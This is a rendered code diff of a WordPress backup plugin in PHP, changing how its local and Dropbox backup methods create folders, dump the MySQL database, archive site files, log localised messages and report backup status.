+
230
+
231
+ public function createListFilesForArchive() {
232
+ $folders = array();
233
+ $files = array();
234
+
235
+ $files = array_merge(
236
+ $files,
237
+ array(
238
+ ABSPATH .'/.htaccess',
239
+ ABSPATH .'/index.php',
240
+ ABSPATH .'/license.txt',
241
+ ABSPATH .'/readme.html',
242
+ ABSPATH .'/wp-activate.php',
243
+ ABSPATH .'/wp-blog-header.php',
244
+ ABSPATH .'/wp-comments-post.php',
245
+ ABSPATH .'/wp-config.php',
246
+ ABSPATH .'/wp-config-sample.php',
247
+ ABSPATH .'/wp-cron.php',
248
+ ABSPATH .'/wp-links-opml.php',
249
+ ABSPATH .'/wp-load.php',
250
+ ABSPATH .'/wp-login.php',
251
+ ABSPATH .'/wp-mail.php',
252
+ ABSPATH .'/wp-settings.php',
253
+ ABSPATH .'/wp-signup.php',
254
+ ABSPATH .'/wp-trackback.php',
255
+ ABSPATH .'/xmlrpc.php',
256
+ )
257
+ );
258
+
259
+ if (!empty($this->params['minus-path'])) {
260
+ foreach($files as $k=>$v) {
261
+ $v = str_replace(ABSPATH .'/' , '', $v);
262
+ if (in_array($v, $this->params['minus-path'])) {
263
+ unset($files[$k]);
264
+ WPAdm_Core::log('Пропускаем файл ' . $v);
265
+ }
266
+ }
267
+ }
268
+
269
+ $folders = array_merge(
270
+ $folders,
271
+ array(
272
+ ABSPATH .'/wp-admin',
273
+ ABSPATH .'/wp-content',
274
+ ABSPATH .'/wp-includes',
275
+ )
276
+ );
277
+
278
+ foreach($this->params['plus-path'] as $p) {
279
+ if (empty($p)) {
280
+ continue;
281
+ }
282
+ $p = ABSPATH .'/' . $p;
283
+ if (file_exists($p)) {
284
+ if (is_dir($p)) {
285
+ $folders[] = $p;
286
+ } else{
287
+ $files[] = $p;
288
+ }
289
+ }
290
+ }
291
+
292
+ $folders = array_unique($folders);
293
+ $files = array_unique($files);
294
+
295
+ foreach($folders as $folder) {
296
+ if (!is_dir($folder)) {
297
+ continue;
298
+ }
299
+ $files = array_merge($files, $this->directoryToArray($folder, true));
300
+ }
301
+ return $files;
302
+ }
303
+
304
+
305
+ private function directoryToArray($directory, $recursive) {
306
+ $array_items = array();
307
+
308
+ $d = str_replace(ABSPATH . '/', '', $directory);
309
+ // пропускаем ненужные директории
310
+
311
+ if (
312
+ in_array($d, $this->params['minus-path'])
313
+ ) {
314
+ WPAdm_Core::log('Пропускаем папку ' . $directory);
315
+ return array();
316
+ }
317
+
318
+ $d = str_replace('\\', '/', $d);
319
+ $tmp = explode('/', $d);
320
+ $d1 = mb_strtolower($tmp[0]);
321
+ unset($tmp[0]);
322
+ $d2 = mb_strtolower(implode('/', $tmp));
323
+ // if (strpos($d1, 'cache') !== false || ($d1 == 'wp-includes' && strpos($d2, 'cache') !== false)) {
324
+ // if (($d1 == 'wp-includes' && strpos($d2, 'cache') !== false)
325
+ // || ($d1 == 'wp-content' || !in_array($tmp[0], array('plugins', 'themes')))
326
+ if (strpos($d2, 'cache') !== false
327
+ && !in_array($tmp[0], array('plugins', 'themes'))
328
+ ) {
329
+ WPAdm_Core::log('Пропускаем папку(cache) ' . $directory);
330
+ return array();
331
+ }
332
+ if(strpos($directory, 'wpadm_backups') !== false) {
333
+ return array();
334
+ }
335
+
336
+ if ($handle = opendir($directory)) {
337
+ while (false !== ($file = readdir($handle))) {
338
+ if ($file != "." && $file != "..") {
339
+ if (is_dir($directory. "/" . $file)) {
340
+ if($recursive) {
341
+ $array_items = array_merge($array_items, $this->directoryToArray($directory. "/" . $file, $recursive));
342
+ }
343
+
344
+ $file = $directory . "/" . $file;
345
+ if (!is_dir($file)) {
346
+ $ff = preg_replace("/\/\//si", "/", $file);
347
+ $f = str_replace(ABSPATH . '/', '', $ff);
348
+ // пропускаем ненужные директории
349
+ if (!in_array($f, $this->params['minus-path'])) {
350
+ $array_items[] = $ff;
351
+ } else {
352
+ WPAdm_Core::log('Пропускаем файл ' . $ff);
353
+ }
354
+ }
355
+ } else {
356
+ $file = $directory . "/" . $file;
357
+ if (!is_dir($file)) {
358
+ $ff = preg_replace("/\/\//si", "/", $file);
359
+ $f = str_replace(ABSPATH . '/', '', $ff);
360
+ // пропускаем ненужные директории
361
+ if (!in_array($f, $this->params['minus-path'])) {
362
+ $array_items[] = $ff;
363
+ } else {
364
+ WPAdm_Core::log('Пропускаем файл ' . $ff);
365
+ }
366
+ }
367
+ }
368
+ }
369
+ }
370
+ closedir($handle);
371
+ }
372
+ return $array_items;
373
+ }
374
+
375
+
376
+ /*
377
+ * Берем реквизиты доступа к MySQL из параметров WP
378
+ * return Array()
379
+ */
380
+ private function getWpMysqlParams()
381
+ {
382
+ $db_params = array(
383
+ 'password' => 'DB_PASSWORD',
384
+ 'db' => 'DB_NAME',
385
+ 'user' => 'DB_USER',
386
+ 'host' => 'DB_HOST',
387
+ );
388
+
389
+ $r = "/define\('(.*)', '(.*)'\)/";
390
+ preg_match_all($r, file_get_contents(ABSPATH . "wp-config.php"), $m);
391
+ $params = array_combine($m[1], $m[2]);
392
+ foreach($db_params as $k=>$p) {
393
+ $db_params[$k] = $params[$p];
394
+ }
395
+ return $db_params;
396
+ }
397
+
398
+
399
+ private function init(array $conf) {
400
+ //todo: нормализация
401
+ $this->id = $conf['id'];
402
+ $this->stime = $conf['stime'];
403
+ $this->queue = new WPAdm_Queue($this->id);
404
+ $this->type = $conf['type'];
405
+ }
406
+ }
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
407
  }
methods/class-wpadm-method-full-backup-dropbox.php CHANGED
@@ -59,9 +59,17 @@ if (!class_exists('WPadm_Method_Full_Backup_Dropbox')) {
59
  $this->name = $name;
60
 
61
  // folder for backup
62
- $this->dir = ABSPATH . 'wpadm_backups/' . $this->name;
63
- WPAdm_Core::mkdir(ABSPATH . 'wpadm_backups/');
64
- WPAdm_Core::mkdir($this->dir);
 
 
 
 
 
 
 
 
65
  }
66
 
67
  public function getResult()
@@ -71,19 +79,24 @@ if (!class_exists('WPadm_Method_Full_Backup_Dropbox')) {
71
  $this->result->setResult(WPAdm_Result::WPADM_RESULT_SUCCESS);
72
  $this->result->setError('');
73
 
74
- WPAdm_Core::log('Start backup');
75
 
76
  # create db dump
77
- WPAdm_Core::log('Start create db dump');
78
- WPAdm_Core::mkdir(ABSPATH . 'wpadm_backup');
79
- $mysql_dump_file = ABSPATH . 'wpadm_backup/mysqldump.sql';
 
 
 
 
 
80
  if (file_exists($mysql_dump_file)) {
81
  unlink($mysql_dump_file);
82
  }
83
  $wp_mysql_params = $this->getWpMysqlParams();
84
 
85
  if (isset($this->params['optimize']) && ($this->params['optimize']==1)) {
86
- WPAdm_Core::log('Table optimization');
87
  $commandContext = new WPAdm_Command_Context();
88
  $commandContext ->addParam('command','mysqloptimize')
89
  ->addParam('host', $wp_mysql_params['host'])
@@ -107,26 +120,29 @@ if (!class_exists('WPadm_Method_Full_Backup_Dropbox')) {
107
  ->save()
108
  ->execute();
109
  if (!$res) {
110
- WPAdm_Core::log('Database dump was not created('.$this->queue->getError().')');
111
- $errors[] = 'MySQL error: '.$this->queue->getError();
112
- } elseif (0 == (int)filesize($mysql_dump_file)) {
113
- $errors[] = 'MySQL error: empty dump-file';
114
- WPAdm_Core::log('Database dump was not created (empty file)');
 
115
  } else {
116
- WPAdm_Core::log('Database dump created('.filesize($mysql_dump_file).'b):' . $mysql_dump_file);
 
 
117
  }
118
  unset($commandContext);
119
 
120
 
121
  #ЗАРХИВИРУЕМ ФАЙЛЫ
122
- WPAdm_Core::log('Create a list of files');
123
  $files = $this->createListFilesForArchive();
124
  if (file_exists($mysql_dump_file) && filesize($mysql_dump_file) > 0) {
125
  $files[] = $mysql_dump_file;
126
  }
127
 
128
  if (empty($files)) {
129
- $errors[] = 'Empty list files';
130
  }
131
 
132
  // split the file list by 170kbayt lists, To break one big task into smaller
@@ -140,7 +156,7 @@ if (!class_exists('WPadm_Method_Full_Backup_Dropbox')) {
140
  $size = 0;
141
  $files2[$i] = array();
142
  }
143
- $f_size =(int)@filesize($f);
144
  if ($f_size == 0 || $f_size > 1000000) {
145
  WPAdm_Core::log('file '. $f .' size ' . $f_size);
146
  }
@@ -148,7 +164,7 @@ if (!class_exists('WPadm_Method_Full_Backup_Dropbox')) {
148
  $files2[$i][] = $f;
149
  }
150
 
151
- WPAdm_Core::log('List of files created');
152
 
153
  $this->queue->clear();
154
 
@@ -163,10 +179,10 @@ if (!class_exists('WPadm_Method_Full_Backup_Dropbox')) {
163
  $this->queue->add($commandContext);
164
  unset($commandContext);
165
  }
166
- WPAdm_Core::log('Start backing up files');
167
  $this->queue->save()
168
  ->execute();
169
- WPAdm_Core::log('End of backup files');
170
 
171
  $files = glob($this->dir . '/'.$this->name . '*');
172
  $urls = array();
@@ -183,7 +199,7 @@ if (!class_exists('WPadm_Method_Full_Backup_Dropbox')) {
183
  if (isset($this->params['storage'])) {
184
  foreach($this->params['storage'] as $storage) {
185
  if ($storage['type'] == 'ftp') {
186
- WPAdm_Core::log('Begin copying files to FTP');
187
  $this->queue->clear();
188
  $files = glob($this->dir . '/'.$this->name . '*');
189
  //$this->getResult()->setData($files);
@@ -206,15 +222,16 @@ if (!class_exists('WPadm_Method_Full_Backup_Dropbox')) {
206
  $res = $this->queue->save()
207
  ->execute();
208
  if (!$res) {
209
- WPAdm_Core::log('FTP: ' . $this->queue->getError());
210
- $errors[] = 'FTP: '.$this->queue->getError();
 
211
  }
212
- WPAdm_Core::log('Finished copying files to FTP');
213
  if (isset($storage['remove_from_server']) && $storage['remove_from_server'] == 1 ) {
214
  $remove_from_server = $storage['remove_from_server'];
215
  }
216
  } elseif ($storage['type'] == 's3') {
217
- WPAdm_Core::log('Begin coping files to S3');
218
  $this->queue->clear();
219
  $files = glob($this->dir . '/'.$this->name . '*');
220
  //$this->getResult()->setData($files);
@@ -238,7 +255,7 @@ if (!class_exists('WPadm_Method_Full_Backup_Dropbox')) {
238
  WPAdm_Core::log('S3: ' . $this->queue->getError());
239
  $errors[] = 'S3: '.$this->queue->getError();
240
  }
241
- WPAdm_Core::log('Finished copying files to S3');
242
  if (isset($storage['remove_from_server']) && $storage['remove_from_server'] == 1 ) {
243
  $remove_from_server = $storage['remove_from_server'];
244
  }
@@ -246,7 +263,7 @@ if (!class_exists('WPadm_Method_Full_Backup_Dropbox')) {
246
  }
247
  if ($remove_from_server) {
248
  // удаляем файлы на сервере
249
- WPAdm_Core::log('Remove the backup server');
250
  WPAdm_Core::rmdir($this->dir);
251
  }
252
 
@@ -255,7 +272,7 @@ if (!class_exists('WPadm_Method_Full_Backup_Dropbox')) {
255
  $this->queue->clear();
256
  $files = glob($this->dir . '/' . $this->name . '*');
257
  $files = array_merge_recursive(array($mysql_dump_file), $files);
258
- WPAdm_Core::log('files to google: ' . print_r($files, true));
259
  $n = count($files);
260
  for($i = 0; $i <$n; $i++) {
261
  $commandContext = new WPAdm_Command_Context();
@@ -272,7 +289,7 @@ if (!class_exists('WPadm_Method_Full_Backup_Dropbox')) {
272
  $res = $this->queue->save()
273
  ->execute();
274
  if (!$res) {
275
- WPAdm_Core::log('Google drive: ' . $this->queue->getError());
276
  }
277
  //WPAdm_Core::log('google drive' . print_r($this->params, true));
278
  }
@@ -280,7 +297,7 @@ if (!class_exists('WPadm_Method_Full_Backup_Dropbox')) {
280
  $this->queue->clear();
281
  $files = glob($this->dir . '/' . $this->name . '*');
282
  $files = array_merge_recursive(array($mysql_dump_file), $files);
283
- WPAdm_Core::log('files to dropbox: ' . print_r($files, true));
284
  $n = count($files);
285
  for($i = 0; $i <$n; $i++) {
286
  $commandContext = new WPAdm_Command_Context();
@@ -297,17 +314,17 @@ if (!class_exists('WPadm_Method_Full_Backup_Dropbox')) {
297
  $this->queue->save()
298
  ->execute();
299
  if (!$res) {
300
- WPAdm_Core::log('Dropbox: ' . $this->queue->getError());
301
  }
302
  }
303
 
304
  #Removing TMP-files
305
- WPAdm_Core::rmdir(ABSPATH.'wpadm_backup');
306
 
307
  #Removind old backups(if limit the number of stored backups)
308
- WPAdm_Core::log('Start removing old backups');
309
  if ($this->params['limit'] != 0) {
310
- $files = glob(ABSPATH . 'wpadm_backups/*');
311
  if (count($files) > $this->params['limit']) {
312
  $files2 = array();
313
  foreach($files as $f) {
@@ -326,22 +343,23 @@ if (!class_exists('WPadm_Method_Full_Backup_Dropbox')) {
326
  }
327
  }
328
  }
329
- WPAdm_Core::log('Finished removing old backups');
330
 
331
- WPAdm_Core::log('Creating a backup is completed');
332
 
 
333
  if (!empty($errors)) {
334
  $this->result->setError(implode("\n", $errors));
335
  $this->result->setResult(WPAdm_Result::WPADM_RESULT_ERROR);
 
 
 
 
336
  }
337
-
338
  return $this->result;
339
-
340
-
341
  }
342
 
343
-
344
-
345
  public function createListFilesForArchive() {
346
  $folders = array();
347
  $files = array();
@@ -376,7 +394,7 @@ if (!class_exists('WPadm_Method_Full_Backup_Dropbox')) {
376
  $v = str_replace(ABSPATH , '', $v);
377
  if (in_array($v, $minus_path)) {
378
  unset($files[$k]);
379
- WPAdm_Core::log('Skip file ' . $v);
380
  }
381
  }
382
  }
@@ -439,6 +457,9 @@ if (!class_exists('WPadm_Method_Full_Backup_Dropbox')) {
439
  WPAdm_Core::log('Skip dir(cache) ' . $directory);
440
  return array();
441
  }
 
 
 
442
 
443
  if ($handle = opendir($directory)) {
444
  while (false !== ($file = readdir($handle))) {
@@ -468,7 +489,7 @@ if (!class_exists('WPadm_Method_Full_Backup_Dropbox')) {
468
  if (!in_array($f, $minus_path)) {
469
  $array_items[] = $ff;
470
  } else {
471
- WPAdm_Core::log('Skip dir ' . $ff);
472
  }
473
  }
474
  }
@@ -494,7 +515,7 @@ if (!class_exists('WPadm_Method_Full_Backup_Dropbox')) {
494
  );
495
 
496
  $r = "/define\('(.*)', '(.*)'\)/";
497
- preg_match_all($r, file_get_contents(ABSPATH . "wp-config.php"), $m);
498
  $params = array_combine($m[1], $m[2]);
499
  foreach($db_params as $k=>$p) {
500
  $db_params[$k] = $params[$p];
59
  $this->name = $name;
60
 
61
  // folder for backup
62
+ $this->dir = DROPBOX_BACKUP_DIR_BACKUP . '/' . $this->name;
63
+ $error = WPAdm_Core::mkdir(DROPBOX_BACKUP_DIR_BACKUP);
64
+ if (!empty($error)) {
65
+ $this->result->setError($error);
66
+ $this->result->setResult(WPAdm_Result::WPADM_RESULT_ERROR);
67
+ }
68
+ $error = WPAdm_Core::mkdir($this->dir);
69
+ if (!empty($error)) {
70
+ $this->result->setError($error);
71
+ $this->result->setResult(WPAdm_Result::WPADM_RESULT_ERROR);
72
+ }
73
  }
74
 
75
  public function getResult()
79
  $this->result->setResult(WPAdm_Result::WPADM_RESULT_SUCCESS);
80
  $this->result->setError('');
81
 
82
+ WPAdm_Core::log( langWPADM::get('Start backup', false) );
83
 
84
  # create db dump
85
+ WPAdm_Core::log( langWPADM::get('Start create db dump', false) );
86
+ $error = WPAdm_Core::mkdir(DROPBOX_BACKUP_DIR_BACKUP);
87
+ if (!empty($error)) {
88
+ $this->result->setError($error);
89
+ $this->result->setResult(WPAdm_Result::WPADM_RESULT_ERROR);
90
+ return $this->result;
91
+ }
92
+ $mysql_dump_file = DROPBOX_BACKUP_DIR_BACKUP . '/mysqldump.sql';
93
  if (file_exists($mysql_dump_file)) {
94
  unlink($mysql_dump_file);
95
  }
96
  $wp_mysql_params = $this->getWpMysqlParams();
97
 
98
  if (isset($this->params['optimize']) && ($this->params['optimize']==1)) {
99
+ WPAdm_Core::log( langWPADM::get('Table optimization', false) );
100
  $commandContext = new WPAdm_Command_Context();
101
  $commandContext ->addParam('command','mysqloptimize')
102
  ->addParam('host', $wp_mysql_params['host'])
120
  ->save()
121
  ->execute();
122
  if (!$res) {
123
+ $log = str_replace('%s', $this->queue->getError(), langWPADM::get('Error: Dump of Database wasn\'t created (%s)', false) );
124
+ WPAdm_Core::log($log);
125
+ $errors[] = $log;
126
+ } elseif (0 == (int)@filesize($mysql_dump_file)) {
127
+ $errors[] = langWPADM::get('MySQL Error: Database-Dump File is empty', false);
128
+ WPAdm_Core::log(langWPADM::get('Dump of Database wasn\'t created (File of Database-Dump is empty!)', false));
129
  } else {
130
+ $size_dump = round( (filesize($mysql_dump_file) / 1024 / 1024) , 2);
131
+ $log = str_replace("%s", $size_dump , langWPADM::get('Database Dump was successfully created ( %s Mb) : ', false) ) ;
132
+ WPAdm_Core::log($log . $mysql_dump_file);
133
  }
134
  unset($commandContext);
135
 
136
 
137
  #ЗАРХИВИРУЕМ ФАЙЛЫ
138
+ WPAdm_Core::log( langWPADM::get('Create a list of files for Backup', false) );
139
  $files = $this->createListFilesForArchive();
140
  if (file_exists($mysql_dump_file) && filesize($mysql_dump_file) > 0) {
141
  $files[] = $mysql_dump_file;
142
  }
143
 
144
  if (empty($files)) {
145
+ $errors[] = langWPADM::get('Error: the list of Backup files is empty', false);
146
  }
147
 
148
  // split the file list by 170kbayt lists, To break one big task into smaller
156
  $size = 0;
157
  $files2[$i] = array();
158
  }
159
+ $f_size =(int)filesize($f);
160
  if ($f_size == 0 || $f_size > 1000000) {
161
  WPAdm_Core::log('file '. $f .' size ' . $f_size);
162
  }
164
  $files2[$i][] = $f;
165
  }
166
 
167
+ WPAdm_Core::log( langWPADM::get('List of Backup-Files was successfully created', false) );
168
 
169
  $this->queue->clear();
170
 
179
  $this->queue->add($commandContext);
180
  unset($commandContext);
181
  }
182
+ WPAdm_Core::log( langWPADM::get('Backup of Files was started', false) );
183
  $this->queue->save()
184
  ->execute();
185
+ WPAdm_Core::log( langWPADM::get('End of File Backup', false) );
186
 
187
  $files = glob($this->dir . '/'.$this->name . '*');
188
  $urls = array();
199
  if (isset($this->params['storage'])) {
200
  foreach($this->params['storage'] as $storage) {
201
  if ($storage['type'] == 'ftp') {
202
+ WPAdm_Core::log( langWPADM::get('Begin copying files to FTP', false) );
203
  $this->queue->clear();
204
  $files = glob($this->dir . '/'.$this->name . '*');
205
  //$this->getResult()->setData($files);
222
  $res = $this->queue->save()
223
  ->execute();
224
  if (!$res) {
225
+ $log = langWPADM::get('FTP: ' , false);
226
+ WPAdm_Core::log($log . $this->queue->getError());
227
+ $errors[] = $log . $this->queue->getError();
228
  }
229
+ WPAdm_Core::log( langWPADM::get('Finished copying files to FTP' , false) );
230
  if (isset($storage['remove_from_server']) && $storage['remove_from_server'] == 1 ) {
231
  $remove_from_server = $storage['remove_from_server'];
232
  }
233
  } elseif ($storage['type'] == 's3') {
234
+ WPAdm_Core::log( langWPADM::get('Begin coping files to S3' , false) );
235
  $this->queue->clear();
236
  $files = glob($this->dir . '/'.$this->name . '*');
237
  //$this->getResult()->setData($files);
255
  WPAdm_Core::log('S3: ' . $this->queue->getError());
256
  $errors[] = 'S3: '.$this->queue->getError();
257
  }
258
+ WPAdm_Core::log( langWPADM::get('Finished copying files to S3' , false) );
259
  if (isset($storage['remove_from_server']) && $storage['remove_from_server'] == 1 ) {
260
  $remove_from_server = $storage['remove_from_server'];
261
  }
263
  }
264
  if ($remove_from_server) {
265
  // удаляем файлы на сервере
266
+ WPAdm_Core::log( langWPADM::get('Remove the backup server' , false) );
267
  WPAdm_Core::rmdir($this->dir);
268
  }
269
 
272
  $this->queue->clear();
273
  $files = glob($this->dir . '/' . $this->name . '*');
274
  $files = array_merge_recursive(array($mysql_dump_file), $files);
275
+ WPAdm_Core::log( langWPADM::get('files to google: ' , false) . print_r($files, true));
276
  $n = count($files);
277
  for($i = 0; $i <$n; $i++) {
278
  $commandContext = new WPAdm_Command_Context();
289
  $res = $this->queue->save()
290
  ->execute();
291
  if (!$res) {
292
+ WPAdm_Core::log( langWPADM::get('Google drive: ' , false) . $this->queue->getError());
293
  }
294
  //WPAdm_Core::log('google drive' . print_r($this->params, true));
295
  }
297
  $this->queue->clear();
298
  $files = glob($this->dir . '/' . $this->name . '*');
299
  $files = array_merge_recursive(array($mysql_dump_file), $files);
300
+ WPAdm_Core::log( langWPADM::get('files to dropbox: ' , false) . print_r($files, true));
301
  $n = count($files);
302
  for($i = 0; $i <$n; $i++) {
303
  $commandContext = new WPAdm_Command_Context();
314
  $this->queue->save()
315
  ->execute();
316
  if (!$res) {
317
+ WPAdm_Core::log(langWPADM::get('Dropbox: ' , false) . $this->queue->getError());
318
  }
319
  }
320
 
321
  #Removing TMP-files
322
+ WPAdm_Core::rmdir(DROPBOX_BACKUP_DIR_BACKUP . '/mysqldump.sql');
323
 
324
  #Removind old backups(if limit the number of stored backups)
325
+ WPAdm_Core::log( langWPADM::get('Start removing old backups' , false) );
326
  if ($this->params['limit'] != 0) {
327
+ $files = glob(DROPBOX_BACKUP_DIR_BACKUP . '/*');
328
  if (count($files) > $this->params['limit']) {
329
  $files2 = array();
330
  foreach($files as $f) {
343
  }
344
  }
345
  }
346
+ WPAdm_Core::log( langWPADM::get('Finished removing old backups' , false) );
347
 
348
+ WPAdm_Core::log( langWPADM::get('Creating a backup is completed' , false) );
349
 
350
+ wpadm_class::setBackup(2);
351
  if (!empty($errors)) {
352
  $this->result->setError(implode("\n", $errors));
353
  $this->result->setResult(WPAdm_Result::WPADM_RESULT_ERROR);
354
+ wpadm_class::setStatus(0);
355
+ wpadm_class::setErrors( implode(", ", $errors) );
356
+ } else {
357
+ wpadm_class::setStatus(1);
358
  }
359
+ wpadm_class::backupSend();
360
  return $this->result;
 
 
361
  }
362
 
 
 
363
  public function createListFilesForArchive() {
364
  $folders = array();
365
  $files = array();
394
  $v = str_replace(ABSPATH , '', $v);
395
  if (in_array($v, $minus_path)) {
396
  unset($files[$k]);
397
+ WPAdm_Core::log( langWPADM::get('Skip file ' , false) . $v);
398
  }
399
  }
400
  }
457
  WPAdm_Core::log('Skip dir(cache) ' . $directory);
458
  return array();
459
  }
460
+ if(strpos($directory, DROPBOX_BACKUP_DIR_NAME) !== false) {
461
+ return array();
462
+ }
463
 
464
  if ($handle = opendir($directory)) {
465
  while (false !== ($file = readdir($handle))) {
489
  if (!in_array($f, $minus_path)) {
490
  $array_items[] = $ff;
491
  } else {
492
+ WPAdm_Core::log( langWPADM::get('Skip dir ' , false) . $ff);
493
  }
494
  }
495
  }
515
  );
516
 
517
  $r = "/define\('(.*)', '(.*)'\)/";
518
+ preg_match_all($r, file_get_contents( ABSPATH . "wp-config.php"), $m);
519
  $params = array_combine($m[1], $m[2]);
520
  foreach($db_params as $k=>$p) {
521
  $db_params[$k] = $params[$p];
methods/class-wpadm-method-local-backup.php CHANGED
@@ -3,36 +3,63 @@
3
  if (!class_exists('WPAdm_Method_Local_Backup')) {
4
  class WPAdm_Method_Local_Backup extends WPAdm_Method_Class {
5
 
 
 
6
  public function __construct($params)
7
  {
8
  parent::__construct($params);
9
  $this->init(
10
  array(
11
- 'id' => uniqid('wpadm_method_backup__'),
12
  'stime' => time(),
13
  )
14
  );
15
- $file_log = WPAdm_Core::getTmpDir() . "/log.log";
16
- if (file_exists($file_log)) {
17
- unlink($file_log);
18
- }
19
- WPAdm_Core::log('Create Unique Id '. $this->id);
20
 
21
 
22
  $name = get_option('siteurl');
23
 
24
  $name = str_replace("http://", '', $name);
25
  $name = str_replace("https://", '', $name);
26
- $name = preg_replace("|\W|", "_", $name);
27
- $this->time = date("d.m.Y H:i"); //23.04.2015 13:45
28
- $name .= '-' . wpadm_class::$type . '-' . date("Y_m_d_H_i");
 
 
 
 
 
29
  $this->name = $name;
30
-
31
 
32
  // folder for backup
33
- $this->dir = ABSPATH . 'wpadm_backups/' . $this->name;
34
- WPAdm_Core::mkdir(ABSPATH . 'wpadm_backups/');
35
- WPAdm_Core::mkdir($this->dir);
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
36
  }
37
  public function getResult()
38
  {
@@ -41,161 +68,200 @@ if (!class_exists('WPAdm_Method_Local_Backup')) {
41
 
42
  $this->result->setResult(WPAdm_Result::WPADM_RESULT_SUCCESS);
43
  $this->result->setError('');
44
-
45
- WPAdm_Core::log('Start Backup process...');
46
 
47
  # create db dump
48
  if (in_array('db', $this->params['types']) ) {
49
- WPAdm_Core::log('Creating Database Dump');
50
- WPAdm_Core::mkdir(ABSPATH . 'wpadm_backup');
51
- $mysql_dump_file = ABSPATH . 'wpadm_backup/mysqldump.sql';
52
- if (file_exists($mysql_dump_file)) {
53
- unlink($mysql_dump_file);
54
- }
55
- $wp_mysql_params = $this->getWpMysqlParams();
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
56
 
57
- // Table Optimization
58
- if (isset($this->params['optimize']) && ($this->params['optimize']==1)) {
59
- WPAdm_Core::log('Optimize Database Tables');
60
  $commandContext = new WPAdm_Command_Context();
61
- $commandContext ->addParam('command','mysqloptimize')
62
  ->addParam('host', $wp_mysql_params['host'])
63
  ->addParam('db', $wp_mysql_params['db'])
64
  ->addParam('user', $wp_mysql_params['user'])
65
- ->addParam('password', $wp_mysql_params['password']);
66
- $this->queue->clear()
67
- ->add($commandContext);
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
68
  unset($commandContext);
 
69
  }
70
- // Creating of Database Backup
71
- $commandContext = new WPAdm_Command_Context();
72
- $commandContext ->addParam('command','mysqldump')
73
- ->addParam('host', $wp_mysql_params['host'])
74
- ->addParam('db', $wp_mysql_params['db'])
75
- ->addParam('user', $wp_mysql_params['user'])
76
- ->addParam('password', $wp_mysql_params['password'])
77
- ->addParam('tables', '')
78
- ->addParam('to_file', $mysql_dump_file);
79
- $res = $this->queue->add($commandContext)
80
- ->save()
81
- ->execute();
82
- if (!$res) {
83
- WPAdm_Core::log('Error: Dump of Database wasn\'t created('.$this->queue->getError().')');
84
- $errors[] = 'MySQL Error: '.$this->queue->getError();
85
- } elseif (0 == (int)filesize($mysql_dump_file)) {
86
- $errors[] = 'MySQL Error: Database-Dump File is empty';
87
- WPAdm_Core::log('Dump of Database wasn\'t created (File of Database-Dump is empty!)');
88
- } else {
89
- WPAdm_Core::log('Database Dump was successfully created('.filesize($mysql_dump_file).'b):' . $mysql_dump_file);
90
- }
91
- unset($commandContext);
92
  }
93
 
94
-
95
- if (in_array('files', $this->params['types']) ) {
96
- WPAdm_Core::log('Create a list of files for Backup');
97
- $files = $this->createListFilesForArchive();
98
- }
99
- if (isset($mysql_dump_file) && file_exists($mysql_dump_file) && filesize($mysql_dump_file) > 0) {
100
- $files[] = $mysql_dump_file;
101
- }
102
-
103
- if (empty($files)) {
104
- $errors[] = 'Error: the list of Backup files is empty';
105
- }
106
-
107
- // split the file list by 170kbayt lists, To break one big task into smaller
108
- $files2 = array();
109
- $files2[0] = array();
110
- $i = 0;
111
- $size = 0;
112
- foreach($files as $f) {
113
- if ($size > 170000) {//~170kbyte
114
- $i ++;
115
- $size = 0;
116
- $files2[$i] = array();
117
  }
118
- $f_size =(int)filesize($f);
119
- if ($f_size == 0 || $f_size > 1000000) {
120
- WPAdm_Core::log('File '. $f .' Size ' . $f_size);
121
  }
122
- $size += $f_size;
123
- $files2[$i][] = $f;
124
- }
125
-
126
- WPAdm_Core::log('List of Backup-Files was successfully created');
127
 
128
- $this->queue->clear();
129
- // Adding Wordpress Files and MySQL Dump to Archive
130
- foreach($files2 as $files) {
131
- $commandContext = new WPAdm_Command_Context();
132
- $commandContext ->addParam('command', 'archive')
133
- ->addParam('files', $files)
134
- ->addParam('to_file', $this->dir . '/'.$this->name)
135
- ->addParam('max_file_size', 900000)
136
- ->addParam('remove_path', ABSPATH);
137
 
138
- $this->queue->add($commandContext);
139
- unset($commandContext);
140
- }
141
- WPAdm_Core::log('Backup of Files was started');
142
- $this->queue->save()
143
- ->execute();
144
- WPAdm_Core::log('End of File Backup');
145
-
146
- $files = glob($this->dir . '/'.$this->name . '*');
147
- $urls = array();
148
- $totalSize = 0;
149
- foreach($files as $file) {
150
- $urls[] = str_replace(ABSPATH, '', $file);
151
- $totalSize += @intval( filesize($file) );
152
- }
153
- $this->result->setData($urls);
154
- $this->result->setSize($totalSize);
155
- $size = $totalSize / 1024 / 1024; /// MByte
156
- $size = round($size, 2);
157
- WPAdm_Core::log('Backup Size ' . $size . " Mb");
158
-
159
- $remove_from_server = 0;
160
- #Removing TMP-files
161
- WPAdm_Core::rmdir(ABSPATH . 'wpadm_backup');
162
-
163
- #Removind old backups(if limit the number of stored backups)
164
- if ($this->params['limit'] != 0) {
165
- WPAdm_Core::log('Limits of Backups ' . $this->params['limit']);
166
- WPAdm_Core::log('Removing of old Backups was started');
167
- $files = glob(ABSPATH . 'wpadm_backups/*');
168
- if (count($files) > $this->params['limit']) {
169
  $files2 = array();
 
 
 
170
  foreach($files as $f) {
171
- $fa = explode('-', $f);
172
- if (count($fa) != 3) {
173
- continue;
 
 
 
 
 
174
  }
175
- $files2[$fa[2]] = $f;
 
 
 
 
 
176
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
177
  }
178
- ksort($files2);
179
- $d = count($files2) - $this->params['limit'];
180
- $del = array_slice($files2, 0, $d);
181
- foreach($del as $d) {
182
- WPAdm_Core::rmdir($d);
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
183
  }
 
184
  }
185
- WPAdm_Core::log('Removing of old Backups was Finished');
186
  }
 
187
  if (!empty($errors)) {
188
  $this->result->setError(implode("\n", $errors));
189
  $this->result->setResult(WPAdm_Result::WPADM_RESULT_ERROR);
 
 
 
190
  } else {
191
- WPAdm_Core::log('Backup creating is completed successfully!');
 
192
  }
 
193
 
194
  return $this->result;
195
 
196
  }
197
-
198
